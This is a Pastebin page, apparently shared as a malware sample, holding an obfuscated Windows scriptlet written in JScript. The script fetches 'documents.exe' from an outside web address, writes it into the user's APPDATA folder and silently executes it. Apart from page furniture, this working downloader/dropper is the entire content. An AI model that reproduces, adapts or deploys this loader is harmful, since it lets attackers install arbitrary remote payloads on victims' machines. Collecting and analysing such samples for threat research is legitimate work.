Advertisement
James_inthe_box

Code

Mar 14th, 2018
284
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.64 KB | None | 0 0
  1. <scriptlet>
  2. <registration
  3. description="eHsm.TjrQ"
  4. progid="eHsm.TjrQ"
  5. version="1"
  6. classid="{e0a23d44-e81b-4f87-87ba-953e0394021a}"
  7. remotable="true"
  8. >
  9. </registration>
  10. <script language="JScript">
  11. <![CDATA[
  12. var LvK = ["WScript.Shell","Word.Application","ADODB.Stream","Scripting.FileSystemObject","http://www.daltondivine.com/dm/documents.exe","documents.exe","MSXML2.XMLHTTP"];
  13. var NJYXIXtl = JJiidcQ(0);
  14. BJtvWKTItkmi= CrfcxJdvQvGGL("APPDATA") + "\\" + LvK[5];
  15. var rMWeHtGrbYQjJQ = JJiidcQ(3);
  16. try{
  17. var rMWeHtGrbYQjJQ = JJiidcQ(3);
  18. if (rMWeHtGrbYQjJQ.FileExists(BJtvWKTItkmi)){
  19. rMWeHtGrbYQjJQ.DeleteFile(BJtvWKTItkmi);
  20. }
  21. } catch (e) {
  22. }
  23. yqgcWnHPcgasNr(LvK[4],BJtvWKTItkmi);
  24. NJYXIXtl.Run(BJtvWKTItkmi, 0, false);
  25.  
  26. function JJiidcQ(BJtvWKTItkmi) {
  27. return new ActiveXObject(LvK[BJtvWKTItkmi]);
  28. }
  29. function CrfcxJdvQvGGL(BJtvWKTItkmi) {
  30. return NJYXIXtl.ExpandEnvironmentStrings("%" + BJtvWKTItkmi + "%");
  31. }
  32. function yqgcWnHPcgasNr(VJMKPprRZobcHJXe, BJtvWKTItkmi ) {
  33. var wFErxOGKjpholaPje = JJiidcQ(6);
  34. wFErxOGKjpholaPje.onreadystatechange=function() {
  35. if (wFErxOGKjpholaPje.readyState === 4) {
  36. var zTStDmhDbXYwKpdaEhs = JJiidcQ(2);
  37. zTStDmhDbXYwKpdaEhs.open();
  38. zTStDmhDbXYwKpdaEhs.type = 1;
  39. zTStDmhDbXYwKpdaEhs.write(wFErxOGKjpholaPje.ResponseBody);
  40. zTStDmhDbXYwKpdaEhs.position = 0;
  41. zTStDmhDbXYwKpdaEhs.saveToFile(BJtvWKTItkmi, 2);
  42. zTStDmhDbXYwKpdaEhs.close();
  43. }
  44. };
  45. wFErxOGKjpholaPje.open("GET", VJMKPprRZobcHJXe, false);
  46. wFErxOGKjpholaPje.send();
  47. }
  48. ]]>
  49. </script>
  50. </scriptlet>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement